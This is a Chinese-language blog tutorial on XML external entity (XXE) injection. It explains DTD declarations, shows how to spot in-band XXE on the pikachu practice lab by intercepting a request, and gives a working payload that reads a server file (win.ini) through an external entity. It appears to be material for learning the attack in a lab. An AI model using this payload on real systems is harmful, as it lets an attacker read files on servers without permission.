XXE漏洞与有回显的XXE

发布时间 2023-11-09 09:48:53作者: IwakuraLain

XXE漏洞与有回显的XXE

XXE:XML外部实体注入(xml external entity ),可造成文件读取,命令执行等攻击

HTML侧重页面外观,XML侧重数据与存储

XML没有预定义标签,可以自定义,通常用DTD(文档类型定义)规范XML的格式

定义DTD的方式:

  • 内部DOCTYPE声明
  • 外部文档声明(重点)

内部声明不能读文件,外部声明可以

外部文档声明

当DTD位于XML源文件的外部,则通过以下语法将其封装声明在DOCTYPE

<!DOCTYPE root-element SYSTEM "filename">

我们将这个外部的DTD文件命名为note.dtd:

<!-- 定义note有四个元素to,from,heading,body,都为类型PCDATA类型 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!-- PCDATA:被解析的字符数据,可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本 -->

此时若是想在XML文件中声明该DTD约束,应声明为:

<!--xml声明/文档定义-->
<?xml version="1.0" encoding="utf-8" ?>

<!-- 外部引入 dtd 文件,引号里必须是文件 -->
<!DOCTYPE note SYSTEM "note.dtd">

<!--文档元素-->
<note>
    <to>XXE</to>
    <from>LEARING</from>
    <heading>hello</heading>
    <body>My_friend</body>
</note>
使用场景:一般在填写表单、注册账号等有数据交互的地方
如何判断存不存在有回显的XXE?

提交数据的时候抓包,看看上传文件类型是不是XML类型,或者能不能改成XML类型

改成xml类型

抓包之后在下方任意构造标签(因为XML没有固定标签所以只要闭合什么都行)

比如这里构造了个gg,放包

pikachu靶场得到回显,这时候肯定存在有回显XXE漏洞

构造payload

<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY shell SYSTEM "file:///C://Windows//win.ini">
]>
<x>&shell;</x>

file:/// Windows固定的协议,就这么用

file:///C://Windows//win.ini需要在服务器上实际存在

也可以是http://192.168.1.1/1.txt

&实体名; 引用的实体